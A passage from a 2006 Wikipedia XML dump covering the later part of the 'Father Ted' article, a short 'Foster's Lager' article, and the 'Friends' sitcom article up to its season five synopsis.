Father Ted maintains a longstanding feud with Father Dick Byrne. This has led him into various very ill-judged escapades including once, with Father Dougal, aiming to win the nomination to represent Ireland in &quot;Eurosong '96&quot; (a spoof of the [[Eurovision Song Contest]]) with their composition &quot;My Lovely Horse&quot;. He also lost a bet with Father Byrne and as a forfeit he had to &quot;kick Bishop Brennan up the arse&quot;. Father Ted once described the [[Great Wall of China]] as being &quot;so big it can be seen from anywhere in the world&quot;. On the orders of Bishop Len Brennan he also tried to ban a blasphemous film. Far from destroying the film's commercial appeal, his inspired protests (including waving signs such as &quot;Down With This Sort of Thing&quot; and &quot;Careful Now&quot;) actually caused people to come from as far away as [[Gdańsk]] to watch it.

==== Father Dougal McGuire====

[[Father Dougal McGuire]] ([[Ardal O'Hanlon]]) is a simple minded soul, in exile for a mysterious incident in [[Blackrock]] involving a group of [[nun]]s, presumably caused by his stupidity. His inability to grasp the simplest of everyday concepts provides much of the humour in the show. He once owned a rabbit called Sampras (as a reference to noted tennis player [[Peter Sampras]]) because of that &quot;whole rabbit/tennis, tennis/rabbit connection&quot;. Dougal regularly expresses doubts about the validity of Catholic Orthodoxy, to the degree that he causes Bishop O'Neill to renounce his faith.  The Catholic hierarchy, as well as Father Ted, also greatly frown upon Dougal conducting funerals, as one ended up with the hearse on fire and upside down in the hole dug for the grave.

====Father Jack Hackett====
[[Father Jack Hackett]] ([[Frank Kelly]]), is a perpetually [[drunkenness|drunken]], lecherous, violent and foul-mouthed elderly priest. He is on Craggy Island for all of the above, and is basically incapable of functioning normally as a [[priest]]. He spends most, if not all of his time sitting in his chair yelling &quot;FECK! ARSE! DRINK! GIRLS!&quot; or telling everyone to &quot;FECK OFF!!&quot; There is also mention of a 'blue nun' incident (blue as in sexually promiscuous, although &quot;[[Blue Nun]]&quot; is also a brand of [[wine]]), and a wedding that Father Hackett performed was another factor contributing to his banishment to Craggy Island. Ted did once clean him up and teach him a few phrases, such as &quot;YES!&quot; and &quot;THAT WOULD BE AN [[Christian ecumenism|ECUMENICAL]] MATTER!&quot; but his education was short-lived. Father Hackett appears to possess limited supernatural powers, such as his ability to determine the vintage of wine merely by the sound of bottles clinking together. Despite this talent, he is not particularly discerning about what he drinks, and in a pinch will happily resort to Toilet Duck and other cleaning fluids. For Lent he was sober for the first time in twelve years and remembered things such as &quot;CHAIR&quot;, &quot;FLOOR&quot; and &quot;CURTAINS&quot;, though upon seeing Ted, he remembered, &quot;GOBSHITE!&quot; However, he couldn't at all figure out what a spoon was.

====Mrs. Joan Doyle====
[[Mrs Doyle]] ([[Pauline McLynn]]), is the priests' manic housekeeper who is hell-bent on serving [[tea]] to all and sundry. She must once have been married though no mention of her husband is ever made, apart from a brief slip of the tongue on her part in &quot;Night of the Nearly Dead&quot;. Hospitality, especially serving tea, is her mission in life, as is cleaning the large window in the living room, a task which usually sees her plummet to the ground upon trying to get back down from the sill. Her first name, Joan, is mentioned casually by Ted in the first series, though later episodes play on the fact that she is invariably referred to by everyone as &quot;Mrs Doyle&quot; by seeing her first name ostentatiously drowned out (by such things as ringing bells and telephones) on the very rare occasions when it is said. She occasionally falls off the roof of the parochial house.

==Recurring Characters==

Other priests and islanders have recurring roles in the series. Their details are given below. A number of parishioners and other characters appear on the show on a one-off basis. See [[Father Ted minor characters]] for a complete list.

===Priests===
====Bishop Leonard Brennan====
'''Bishop Len Brennan''' ([[Jim Norton (actor)|Jim Norton]]), Ted's boss. Len has little patience with Ted and his friends, whom he refers to as &quot;the cast of [[Police Academy]]&quot;. He also has a terrible phobia of rabbits, due to being stuck in a lift with some once. Secretly he has a girlfriend and son living in California.

====Father Noel Furlong====
'''Father Noel Furlong''' ([[Graham Norton]]) and his reluctant St Luke's Youth Group, who turn up in uncompromising places such as a tiny caravan and a dark cave. Father Noel is overwhelmingly enthusiastic to the point of being interminable, regaling everyone with songs, having &quot;screeching&quot; competitions in the cave and doing [[Riverdance]] in the cramped caravan. Even when buried under a &quot;big pile of rocks&quot; he talks incessantly and cheerfully. His version of &quot;Bohemian Rhapsody&quot; was a high point of the series. His youth group eventually run off to Paraguay. He occasionally turns up without his youth group, for example, on a plane crammed with priests which is rapidly running out of fuel.  

====Father Larry Duff====
'''Father Larry Duff''', a priest with a zest for life who Ted claims is &quot;tremendous fun&quot; around others. Ted often calls Larry for advice on his mobile phone. However, when Ted calls him on his mobile phone, he suffers a horrible accident yet always reappears unharmed in a subsequent episode (much like [[Kenny McCormick]] in the animated series ''[[South Park]]''). These events include car and skiing accidents, a disastrous donkey derby, a very painful mishap with a stapler, an unlucky incident with a [[Knife throwing|knife thrower]], and being savaged by a dozen Rottweiler dogs. He was once arrested by security forces because &quot;a big box of machine guns&quot; were found in a fellow priest's house, with whom he was sharing a car at the time.

====Father Dick Byrne====
'''Father Dick Byrne''', Ted's opposite number and nemesis on the nearby Rugged Island. The Father Ted equivalent of The Master in 'Doctor Who', Dick Byrne is forever up to no good. In Ted's pithy phrase: &quot;As priests go... he's a really bad priest&quot;. He has two colleagues on Rugged Island:'''Father Jim Johnson''' and '''Father Cyril MacDuff''', who are sort of equivalents to Jack and Dougal.

===Islanders===

====John and Mary O'Leary====
Local shop-owners '''Mary''' and '''John O'Leary''' who, whilst striving to appear sweetness and light to the clergy, are constantly at each other's throats and make numerous attempts to murder each other.

====Tom====
'''Tom''' ([[Pat Shortt]]), a bizarre maniac who nevertheless has a polite tone to friends. He wears a T-shirt on which he claims &quot;I shot JR&quot; (a reference to ''[[Dallas (TV series)|Dallas]]'', an American soap opera). In the first episode of Father Ted, he confesses to an apparently unconcerned Ted that &quot;I killed a man&quot;.  He possesses a strange scar on his buttocks, which is never revealed to the audience. Of this scar, Tom proclaims &quot;Would you believe me own dog did that to me?! Doesn't it look like a face?!&quot; A true sign of his insanity is made clear in the original scripts, in which he is the only person on the island to think that Ted and Dougal's Eurovision performance of &quot;My Lovely Horse&quot; is actually good. He does not spare his violent nature from animals. He interprets Ted's request to &quot;take care&quot; of a large family of rabbits as a request to slaughter them with a Japanese Katana, and inecessantly shoots a crow sitting 3 feet away from him with a shotgun in the first episode.

==Production details==
Contrary to frequent rumours, Mathews and Linehan did not originally pitch the series to the Irish network [[Radio Telefís Éireann|RTÉ]], but rather offered it directly to [[Hat Trick Productions]] and [[Channel 4]] in the [[United Kingdom|UK]]. Nevertheless, it is a rich irony that what went on to be one of the most popular TV shows in Ireland, performed largely by an Irish cast, and containing so many accurate (albeit comically exaggerated) depictions of national Irish eccentricities, was paid for and shot by a British broadcaster. Somewhat controversially, RTÉ initially did not buy the rights to broadcast the show in Ireland, perhaps for fear of offending more conservative viewers.  However, Channel 4 is available on cable and [[MMDS]] in very many Irish homes and the show became a hit in Ireland without any help from RTÉ, who eventually responded to the obvious demand and broadcast the show themselves.

The theme tune for the series was written and performed by [[Neil Hannon]]'s aptly-named band [[The Divine Comedy (band)|The Divine Comedy]], and was later reworked into a song ''Songs of Love'' for the album ''Casanova''. (The song ''Woman of The World'' from the same album was also offered as a potential theme tune, but rejected.) The band also contributed the ridiculous ''[http://www.geocities.com/TelevisionCity/Studio/1728/pages/horse.html My Lovely Horse]'' (a [[B-side]] on ''Gin Soaked Boy'') used in the episode &quot;Song for Europe&quot;, with singer Neil Hannon providing Ted's vocal; and also composed ''My Lovely Mayo Mammy'' for the episode &quot;Night of the Nearly Dead&quot; with the character Eoin McLove, as well as various other musical items heard in the show.

Three series and one [[Christmas]] special were completed. In addition Morgan and O'Hanlon in character hosted an hour of [[Comic Relief]], during which Kelly and McLynn made brief appearances as Father Jack and Mrs Doyle in one of the routines. Just after the completion of Series 3, [[Dermot Morgan]] died of a [[myocardial infarction|heart attack]], aged 45. As a result, series 3 was first broadcast a week later than originally planned, out of respect for Morgan. Both the writers and co-stars agree that the third series was always intended to be the last, regardless of Morgan's sudden death.

Location shooting for ''Father Ted'' was done mostly in [[County Clare]], including locations at [[Ennis]], [[Kilfenora]], [[Ennistimon]], and [[Kilnaboy]].  The parochial house is at [[Glenquin]], near Kilnaboy, while the cinema featured in 'The Passion Of St Tibulus' is at [[Greystones]], [[County Wicklow]]. The opening sequence (including shots of the ''Plassey'' ship wreck) were filmed over [[Inisheer]] - the smallest of the [[Aran Islands]].

The show is currently being aired on [[BBC America]].

== List of episodes ==

=== Series 1 (1995) ===
[[Image:FATHER TED Down with this sort of thing.jpg|thumbnail|right|200px|Father Ted and Father Dougal protesting outside the cinema in ''The Passion Of St Tibulus'']]
# '''Good Luck, Father Ted''' - A film crew offers to interview Ted.  He goes to extreme lengths to ensure the other members of the clergy on the island cannot be seen
# '''Entertaining Father Stone''' - An unbearably boring, yet inoffensive, priest - Father Stone, pays his annual visit to Craggy Island. The title is a pun on [[Entertaining Mr Sloane]].
# '''The Passion Of St Tibulus''' - Bishop Brennan orders the priests to ensure a blasphemous sexually explicit film being shown on the island is a failure.
# '''Competition Time''' - Ted, Dougal and Jack all plan to appear, as Elvis, in the ''All-priests [[Stars in Their Eyes]] [[lookalike]] contest''. Ted is particularly keen to beat his arch-enemy, Father Dick Byrne of Rugged Island.
# '''And God Created Woman''' - Ted finds himself falling for a steamy novelist. The title is taken from ''[[And God Created Woman]]''.
# '''Grant Unto Him Eternal Rest''' - Father Jack dies after consuming a bottle of floor cleaner. However, he comes back to life.

=== Series 2 (1996) ===

# '''Hell''' - Ted, Dougal and Jack take their annual holiday and encounter Father Noel Furlong (played by [[Graham Norton]]).
# '''Think Fast, Father Ted''' - When Ted holds a raffle, he destroys the prize - a new car.
# '''Tentacles Of Doom''' - Three bishops visit the island.  A worried Ted gives Jack elocution lessons beforehand.
# '''The Old Grey Whistle Theft''' - Dougal starts hanging around with a rebelious priest, Father Damo Lennon. Meanwhile a valuable whistle is stolen. The title is a pun on the [[BBC]] music show [[The Old Grey Whistle Test]].
# '''Song For Europe''' - Ted is goaded by Father Dick Byrne into attempting to write a song for &quot;Eurosong '96&quot; ( spoof of the [[Eurovision Song Contest]]). Despite having a song with only one note, Ireland's fear of winning again (and having to fund it) plays into Ted and Dougal's hands. Arguably the most famous episode.
# '''The Plague''' - The parochial house is infested by rabbits, just as the very rabbit-phobic Bishop Brennan plans a visit.
# '''Rock-a-Hula Ted''' - A [[feminism|feminist]] singer visits the island just when Ted is judging the annual ''lovely girls'' competition.
# '''Cigarettes And Alcohol And Rollerblading''' - In a game of one-upmanship with Dick Byrne, Ted decides the three priests must give something up for [[Lent]]. The title is taken from that of an [[Oasis (band)|Oasis]] song, 'Cigarettes and Alcohol'.
# '''New Jack City''' - Jack's hairy hands get him sent to an old priests' home.  Unfortunately his replacement, played by Irish comedian [[Brendan Grace]] is much worse. The title is taken from the movie ''[[New Jack City]]''. 
# '''Flight Into Terror''' - A flight back from a pilgrimage runs out of fuel and there are only two parachutes. Only one man can save the passengers...

=== Christmas special (1996) ===

* '''A Christmassy Ted''' - Ted's quick thinking whilst lost in a [[department store]]'s [[lingerie]] department earns him the coveted ''Golden Cleric'' award.  So why doesn't he feel happy? At the time this hour-long episode was first shown, it attracted the then highest non-film audience viewing figures for Channel 4.

=== Series 3 (1998) ===

# '''Are You Right There, Father Ted?''' - Ted's &quot;Chinaman&quot; impression goes down badly with Craggy Island's newly-arrived Chinese community and he is branded a racist.
# '''Chirpy Burpy Cheap Sheep''' - Ted makes a large bet on the ''King of the Sheep'' competition.  Unfortunately, Chris, his chosen sheep, has heard rumours about a sheep-eating beast and isn't feeling at all himself. The title is a parody of the [[1970s]] song &quot;Chirpy Chirpy Cheep Cheep&quot; by [[Middle Of The Road (band)|Middle Of The Road]]. There is a hidden pun in the show's plot — it's all about ''sheep worrying.''
# '''Speed 3''' - When Ted and Dougal expose a philandering [[milkman]], Pat Mustard, he takes revenge on his replacement, Dougal, by putting a bomb on the [[milk float]].  If Dougal's speed drops below 4 mph... This show was dreamed up by the creators when they decided to &quot;see if you could make a worse sequel than [[Speed 2]]&quot;.
# '''The Mainland''' - Ted wins some money on the horses and must travel to the mainland to claim it.  This is a very bad idea. Even [[Richard Wilson]] doesn't believe it.
# '''Escape From Victory''' - Ted takes great steps to ensure he wins a bet with Dick Byrne on the outcome of the ''All-Priests Over-75's Five-a-Side Football championship''. The title is a pun on the football movie ''[[Escape to Victory]]'', originally titled ''Victory'', about a football game played between [[Prisoner of war|prisoners of war]] and their guards in [[World War II]]. 
# '''Kicking Bishop Brennan Up The Arse''' - the only episode to follow on directly from the previous one. Exposed as a cheat, Ted waits in terror for Dick to inform him of his forfeit... can you tell what it is yet?
# '''Night Of The Nearly Dead''' - The visit of a young daytime TV presenter, Eoin McLove, causes excitement for the island's aging females. The title is a pun on the movie ''[[Night of the Living Dead]]''. Eoin McLove is a parody of [[Daniel O'Donnell (Irish singer)|Daniel O'Donnell]], an Irish crooner particularly popular among elderly women.
# '''Going To America''' - Ted gets the opportunity of a lifetime, but can't bring himself to break it to the others that they're not invited. The title is a pun on the movie ''[[Coming to America]]''. The last scene of this episode was going to show Ted climbing onto a window ledge along with another priest to commit suicide. This was then replaced out of respect at the last minute with a montage containing one clip from every previous episode, in reverse order, as Father Ted actor, Dermot Morgan died just soon after making this final episode.  However, the writers have said that the joke didn't really work and would have been replaced anyway.

[[Pauline McLynn]] reprised her role as Mrs Doyle in [[2001]] for a small set of adverts for the [[United Kingdom|UK]] [[Inland Revenue]], reminding people to get their taxes in on time by uttering her catchphrase ('Go on, go, on') over and over again. Not surprisingly, it was voted the most irritating ad campaign of that year, beating off competition from the now-infamous [[Ferrero Rocher]] advert. Ironically, Mrs Doyle was also involved in a spoof of this confectionery-related advert in the episode ''Tentacles of Doom''.

==External links==
{{wikiquote}}
* {{imdb title|id=0111958|title=Father Ted}}
* [http://www.episodeworld.com/show/Father_Ted Father Ted] at [[EPisodeWorld.com]]
* [http://www.imdb.com/title/tt0111958/quotes Memorable quotations] at the Internet Movie Database
* [http://www.gazmac.freeserve.co.uk/ted1.html Father Ted Zone]
* [http://www.feck.net/splange/ftfaq.html ''Father Ted'' FAQ]
* [http://www.deadlyphoto.com/photoblog/2005/09/father_teds_hou.html Photograph of the Craggy Island Parochial House]

[[Category:Channel 4 television programmes]]
[[Category:British television sitcoms]]
 &lt;!--- Note NOT an Irish TV programme - it was made by a UK production company for a UK TV channel ---&gt;

[[fr:Father Ted]]
[[ja:テッド神父]]
[[sv:Jösses]]</text>
    </revision>
  </page>
  <page>
    <title>Foster's Lager</title>
    <id>11314</id>
    <revision>
      <id>41500459</id>
      <timestamp>2006-02-27T20:07:48Z</timestamp>
      <contributor>
        <ip>86.141.101.127</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Foster's.jpg|thumb|200px|A stand selling Foster's beer at the [[2005 United States Grand Prix]]]]
'''Foster's Lager''' is an internationally-distributed, [[Australia]]n brand of [[beer]] produced by [[Foster's Group]]. It is brewed in [[Canada]] for import to the [[United States]], contrary to the belief that it is brewed in Australia. Foster's Lager uses the slogan &quot;The Amber Nectar&quot; in Australia and the UK and &quot;Australian for Beer&quot; elsewhere overseas. The overseas advertising of the product often milks the Australian connotations of the beer, often with stereotypical Australian imagery such as [[kangaroo]]s, exaggerated accents, and hats with corks on strings.

While popular in many countries, where it is often brewed under license, Foster's Lager can be difficult to find in Australia. It competes with a large number of other &quot;local beers&quot; (low-cost and mass-produced varieties) usually depending on [[States and territories of Australia|state]], for example [[XXXX]], [[Tooheys]], [[Coopers]], West End, Swan, Emu Bitter or [[Victoria Bitter]].

Many Australians are aware of Foster's international status, and it has become somewhat of a cult joke in Australia as being a very poor tasting beer that was only good enough to sell to other countries. Among those who have some exposure to foreign advertising, the brand may be even less popular, because it is promoted overseas by advertising making use of stereotypes of Australians as unsophisticated bush-dwellers. Many Australians have never drunk Foster's Lager, met anyone who has, or even seen the product.

The Foster's brand is also used in Australia on several other beers, notably [[Foster's Light Ice]], a low-alcohol [[lager]].
The distinctive &quot;Oil Can&quot; design was the brainchild of [[Foster's Group]] Marketing VP Jack McKimm.  Other company higher-ups proposed a jumbo glass bottle, but a spirited demonstration involving an old-timey oil can spout sold them on the idea.  The distinctive can design has become synonymous with Foster's Lager.

A popular [[Internet joke]] appeared in the late [[1990s]] that it was possible to make [[LSD]] from 8 cans of Foster's beer. Various recipies still exist on the net, and the joke is sometimes taken seriously today. It is completely impossible to create LSD from Foster's beer.  

In the past few years in the UK Foster's has stereotypically been associated with underage drinking, partly due to it's relatively low alcohol content and partly due to low prices. 

[[Category:Brands of beer]]
[[Category:Australian beer]]

[[de:Fosters Lager]]</text>
    </revision>
  </page>
  <page>
    <title>Friends</title>
    <id>11315</id>
    <revision>
      <id>42130523</id>
      <timestamp>2006-03-04T00:46:19Z</timestamp>
      <contributor>
        <username>Tombadevil</username>
        <id>751201</id>
      </contributor>
      <text xml:space="preserve">:''For other uses, see [[Friends (disambiguation)]].
{{Unreferenced}}
{{infobox television |
  | show_name = Friends 
  | image = [[Image:Friends.PNG|200px]]
  | caption = 
  | rating = {{TV-14}}
  | format = [[Sitcom]]
  | runtime = approx. 0:22 (per episode)
  | creator = [[David Crane (television)|David Crane]] and [[Marta Kauffman]]
  | starring = [[Jennifer Aniston]]&lt;br&gt;[[Courteney Cox|Courteney Cox Arquette]]&lt;br&gt;[[Lisa Kudrow]]&lt;br&gt;[[Matt LeBlanc]]&lt;br&gt;[[Matthew Perry (actor)|Matthew Perry]]&lt;br&gt;[[David Schwimmer]]
  | country = [[United States|USA]]
  | network = [[NBC]]
  | first_aired = [[September 22]], [[1994]]
  | last_aired = [[May 6]], [[2004]]
  | num_episodes = 236
  |}}
'''''Friends''''' was a long-running [[United States|American]] [[television]] [[situation comedy|sitcom]] centered on the lives of a group of six [[Twenty something|twenty-somethings]] (eventually [[Thirty something|thirty-somethings]]) consisting of three men and three women living in [[New York City]]. 

The program was produced by Bright/Kauffman/Crane Productions in association with [[Warner Bros. Television]] for [[National Broadcasting Company|NBC]] in the [[United States|US]], first broadcast on that network and followed by other [[Friends broadcast details|broadcast networks]] in numerous countries throughout the world.  In the US, its first episode was aired on [[September 22]], [[1994]], the last on [[May 6]], [[2004]]. 

== Overview ==
''Friends'' is one of the most successful sitcoms in the US. By the end of the series the six main cast members were each paid US$1,000,000 per episode. [[Advertisement]]s  during the series finale, which [[List of most-watched television episodes|attracted an audience of over 52 million viewers]], cost $2,000,000 for a 30-second spot in the [[United States]] and CAD$190,000 in [[Canada]]. The last episode was released on [[DVD]] 5 days after its [[Broadcasting|broadcast]].

The show focused on the lives of a group of six friends living in a state of [[arrested development]]: spoiled Daddy's girl [[Rachel Green]]; compulsively clean chef [[Monica Geller]]; wise-cracking, perennially unlucky-in-love, underconfident office drone [[Chandler Bing]]; oversexed, clueless actor [[Joey Tribbiani]]; divorced [[paleontologist]] nerd [[Ross Geller]]; and flaky, positive, [[massage|masseuse]], and aspiring folk [[singer-songwriter]] [[Phoebe Buffay]].  As the pilot begins, Rachel has just left her fiancé Barry at the altar and moves in with her childhood best friend, Monica.  The pair live across the hall from Chandler and Joey.  They hang out with Monica's brother, Ross &amp;ndash; who recently divorced his lesbian wife &amp;ndash; and Phoebe, the &quot;free spirit&quot; of the bunch and Monica's old roommate.  The settings for the show include [[Monica's apartment]], [[Chandler and Joey's apartment]] and the coffee shop downstairs, [[Central Perk]].
{{spoiler}}
After cutting herself off from her father's money, Rachel got her first job as a [[waitress]] in the coffee shop and later becomes a personal shopper at [[Bloomingdale's]], then a buyer for [[Ralph Lauren]].  Monica struggled for the first several seasons for success, and later became head chef at a well-respected restaurant.  Chandler eventually switched to a career in advertising by the last few seasons.  After on-and-off success as a soap opera actor Joey's career eventually stabilized with a regular part on a soap opera from which he was initially fired earlier in the series' run.  Paleontologist Ross eventually becomes a college professor. Phoebe makes out a living as a singer-songwriter and a masseuse.

A constant story line throughout the series was the on-again/off-again romance between Ross and Rachel, and later in the series, the developing relationship between Chandler and Monica.

The show's [[theme song]], &quot;[[I'll Be There for You (Theme from &quot;Friends&quot;)|I'll Be There For You]]&quot; by [[The Rembrandts]], became a major hit after a Tennessee [[disc jockey]] looped it into a full length track and played it on the radio.  The band's record label required them to write additional material and re-record the track as a full-length song, which peaked on the [[Billboard Hot 100]] chart at #17.

== Cast members ==
[[Image:TV The One After Ross Says Rachel.jpg|thumb|right|250px|[[Chandler Bing|Chandler]] and [[Monica Geller|Monica]] share a kiss (episode: The One After Ross Says Rachel)]]

=== Main characters ===
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Role !! Actor
|-
| [[Rachel Green|Rachel Karen Green]] || [[Jennifer Aniston]]
|-
| [[Monica Geller|Monica E. Geller]] || [[Courteney Cox|Courteney Cox Arquette]]
|-
| [[Phoebe Buffay]] || [[Lisa Kudrow]]
|-
| [[Joey Tribbiani|Joseph Francis Tribbiani Jr.]] || [[Matt LeBlanc]]
|-
| [[Chandler Bing|Chandler Muriel Bing]] || [[Matthew Perry (actor)|Matthew Perry]]
|-
|[[Ross Geller|Ross Eustace Geller]] || [[David Schwimmer]]
|}

'''See also:''' ''[[List of significant others of Friends]]'' and ''[[List of guest stars on Friends]]''

==Celebrity Cameos==
Throughout its ten year run the show had numerous celebrity cameos who included Julia Roberts, Brad Pitt, Winona Ryder, George Clooney and others.

== Running gags ==
[[Image:Phoebe Buffay 1.jpg|thumb|right|250px|[[Lisa Kudrow]] as [[Phoebe Buffay]] in [[Friends]]. In this picture she is playing a guitar in a [[New York City|New York]] coffee shop named [[Central Perk]].]]
''Friends'' had many running gags throughout the span of the show.  Some of the most famous include:

* '''The One With/Where [episode name]''': Almost every episode name starts with these three words.
* '''Fat Monica''':  Monica, now slim, was [[obese]] as a child.
*'''Gay Chandler''':  Chandler was often painted with the possibility of being [[homosexuality|gay]], despite his determination to prove himself as the heterosexual he actually was. His friends and colleagues used to think so, his father is gay, and sometimes it seems that in subconscious mind, something might be there. For example: In the first season first episode, he had seen speaking to himself - &quot;Sometimes I wish I was a lesbian&quot;.  
* '''Gunther likes Rachel''':  When Gunther appeared in an episode it usually involved his anything-but-secret crush on Rachel, who remains oblivious to his feelings throughout most of the show's run.
* '''Ross' tendency to marry''': Ross marries a total of three times throughout the course of the show, all of which end in divorce.
* '''[[Phoebe's music]]''':  Phoebe was often a musician at Central Perk and was known for her rather unusual, original songs.
* '''Oh...My...God!''': Janice's catchphrase; used as her introductory line in her later guest appearances.
* '''Chandler's speech''': Chandler has a strange way of speaking, in which he emphasizes the wrong word in his sentences. One exaggerated example, where Ross was mocking Chandler's speech pattern: &quot;The hills are alive with the sound (pause) OF music&quot;. In &quot;The One Where No One's Ready&quot;, Joey wore all of Chandler's clothes and mocked him by saying, &quot;Hi, I'm Chandler. Could I (pause) BE wearing any more clothes?&quot;
*'''How ''You'' Doin'?''': This is Joey's pick-up line.
*'''The Magna Doodle''': The [[Fisher-Price]] [[Magna Doodle]] almost always had something humorously written or drawn on it. They also wrote respectful slogans to the 9/11 victims after the September 11 attacks.
* '''The Grandma Killer''': In several episodes, usually when one of the cast was reading a newspaper or watching TV, someone refers to a serial killer who strangles grandmas and shoves them in ovens. This was first referred to in the episode 'The One With The Baby In The Bus'.

''For a full list of gags, see [[Running gags in Friends]].''

== Cultural legacy ==
[[Image:Friendspurses.jpg|right|thumb|225px|''Friends'' handbags, on sale at a mall in Florida.]]
''Friends'' has, in some areas, made a notable contribution to language, fashion and, to a lesser extent, women's attitudes. The use of &quot;so&quot; to mean &quot;very&quot; or &quot;really&quot; was not invented by any ''Friends'' writer, but it is quite arguable that the extensive use of the phrase in the series encouraged its use in everyday life. [http://www.news.utoronto.ca/bin5/040107a.asp]  Also commonly said by the characters, particularly Monica, was the loud  &quot;I know!&quot; The series has also been noted for its impact on everyday-fashion and [[Haircut|hair-styles]]. [[Jennifer Aniston]], in particular, had her hair-style copied by many women. Along with this, Joey Tribbiani's catchphrase, &quot;How you doin'?&quot; has become a popular part of American slang, often used as a pick-up line or when greeting friends. The show also inspired the cultural meme of the [[laminated list]].

== Spinoffs ==
{{main|Joey (sitcom)}}
''Joey'' premiered [[September 9]], [[2004]] on NBC.  It centres on the ''Friends'' character [[Joey Tribbiani]], still played by LeBlanc, who moved to [[Los Angeles]] to  advance his career as an actor.  Past ''[[Friends]]'' cast members are expected to have [[cameo appearance]]s on the show from time to time, though as of December 2005, none have, and none have been asked. It has been hinted at that [[Matthew Perry]] will be the first to, however.

Although ''Joey'' debuted to strong ratings its numbers have steadily decreased since then, there is also speculation that the show will not be renewed for a third season. According to the Hollywood Reporter, ''Joey'' co-star [[Andrea Anders]] quit the show in early [[2006]] to work on a new [[CBS]] comedy.

It has also been rumoured that NBC will produce a pilot for another spin-off from the series entitled ''It's a Guy Thing'' featuring Joey, Chandler and Ross.  However, NBC has not yet confirmed this rumour, but has said that &quot;Negotiations on future projects are going on all the time.&quot;  [http://www.hollywood.com/news/detail/id/3477372]

== Season synopsis ==
{{spoiler}}

{{details|List of Friends episodes}}
=== Season one (1994-1995)===
Phoebe, Monica, Chandler, Joey, and Ross meet up in Central Perk shortly after Ross's wife Carol realizes she is a lesbian and divorces him. Monica, Phoebe and Ross all live alone, while Chandler and Joey live together. Monica's old school friend, Rachel, enters Central Perk wearing a wedding dress, having just run away from her wedding to Barry Farber. She moves in with Monica, gets a job as a waitress at Central Perk, and struggles to work for a living, having previously lived a rich life.  Ross discovers his ex-wife Carol is pregnant. and she gives birth to a boy, named Ben, who is subsequently raised by Carol and her partner, Susan.

Ross reveals he had a crush on Rachel in high school (unbeknownst to Rachel), and he still has feelings for her. Throughout the season he fails to make his feelings known to her, and eventually Chandler and Joey persuade him to move on. On Rachel's birthday, Ross leaves for a paleontological trip to China.  While he is gone, Chandler accidentally reveals to Rachel that Ross is in love with her. Rachel decides she would like to start a romantic relationship with Ross, and goes to meet him at the airport when he returns from China, unaware that he is getting off the plane with another woman.

=== Season two (1995-1996) === 

Unaware that Rachel likes him, Ross starts a relationship with an old friend, Julie, whom he met in China.  While drunk, Rachel leaves a message on Ross's answer machine saying she is over him. Ross hears the message and becomes confused over his own feelings. He and Rachel kiss. Ross is unable to choose between Rachel and Julie and decides to make a pro and con list of both women.  He decides he loves Rachel, and breaks up with Julie. Unfortunately, Rachel discovers this list, becomes angry, and rejects Ross.  They later get back together when Rachel sees how sincere Ross is.

Joey gets an acting job as Dr. Drake Ramoray on the soap ''[[Days of our Lives]]'', and earns enough money to move into his own apartment. Left on his own, Chandler gets a new roommate, Eddie, who is insane. When Joey states in an interview that he writes his own lines, the show's writers kill off his character. With no income Joey moves back into Chandler's apartment and Eddie leaves.  Phoebe finds she has a half brother called Frank and they start building a relationship.  Monica dates Richard Burke, a friend of her parents who is significantly older than her, but they break up when Richard tells her he doesn't want to have children.

=== Season three (1996-1997) ===
Rachel quits her job at Central Perk for a job at [[Bloomingdale's]]. Ross becomes convinced her new boss wants to date her, and becomes increasingly jealous. Tension between Ross and Rachel culminates on their anniversary, and Rachel suggests they take a break.  After hearing a phone call between Rachel and her boss, he assumes Rachel is dating him. Feeling depressed (and, maybe, under influence from alcohol), he sleeps with another woman. He tries to resume his relationship with Rachel without telling her, but she finds out and they break up.

Joey and Chandler buy a chick and a duck as pets.  Joey's acting career continues to fail.  Phoebe finds a woman, also named Phoebe, who knew her parents.  She invites the group to go with her to the beach.  Rachel becomes upset when Ross starts dating Bonnie, who unexpectedly comes to the beach.  Rachel is unhappy and persuades Bonnie to shave her head so Ross will be less attracted to her. Ross and Rachel argue about this and start to feel like they still love each other. Ross must decide between Rachel and Bonnie.

=== Season four (1997-1998)===
Ross decides to get back together with Rachel, and breaks up with Bonnie. However, when Ross insists that they were on a break, they break up again.  Phoebe learns the older Phoebe is her real mother. Phoebe tells her twin sister Ursula, who knew all along.  Phoebe agrees to be a surrogate mother for her half brother Frank and his wife Alice.  She becomes pregnant with triplets.

Joey begins dating Kathy, but Chandler likes her too.  Joey and Kathy break up after Kathy kisses Chandler.  Joey is angry, but forgives Chandler when he sees that Chandler and Kathy love each other.  Chandler suspects that Kathy is sleeping with a fellow cast member after watching one of her plays.  She does sleep with him, and they break up.  Monica and Rachel switch apartments with Joey and Chandler after losing a bet. The girls hate their new apartment, so they convince Joey and Chandler agree to switch apartments in exchange for season passes to the [[New York Knicks|Knicks]] and an opportunity to watch Monica and Rachel kiss.

Ross dates a British woman, Emily, and they become engaged. The group travels to [[London]] for the wedding, except Phoebe, who is in her last trimester, and Rachel, who doesn't want to see Ross get married. At the wedding rehearsal dinner, Monica becomes depressed because she's not married. Chandler comforts her and they end up sleeping together.  Rachel realizes she still loves Ross and goes to London to tell him. When she gets there, she sees him with Emily and decides it wouldn't be right to ruin the wedding. The wedding goes ahead, but comes to an abrupt halt when Ross says &quot;I take thee, Rachel&quot; instead of &quot;I take thee, Emily&quot;.

=== Season five (1998-1999) ===
Ross and Emily's wedding continues despite Ross' faux pas and they are married, but Emily disappears at the reception. The group goes back to New York where Emily calls Ross and tells him that she will only stay married if he promises he will never see Rachel again. Ross agrees, but Emily continues to make unreasonable demands and they divorce.  Ross moves into Ugly Naked Guy's apartment when he leaves.

Phoebe gives birth to triplets.  She tries to keep one after becoming attached to them, but finds out that Frank and Alice are unwilling to give up a child.  Chandler and Monica continue an intimate relationship in secret. Eventually everybody finds out, and they're all happy about it.  Rachel starts a new job at [[Ralph Lauren]].  Joey gets the lead in a movie, but travels to [[Las Vegas]] to find production has shut down.  Everyone goes to Vegas to see him. Ross and Rachel get drunk and they get married. Monica and Chandler nearly get married but decide they don't want to, so they end up living together.

=== Season six (1999-2000)===
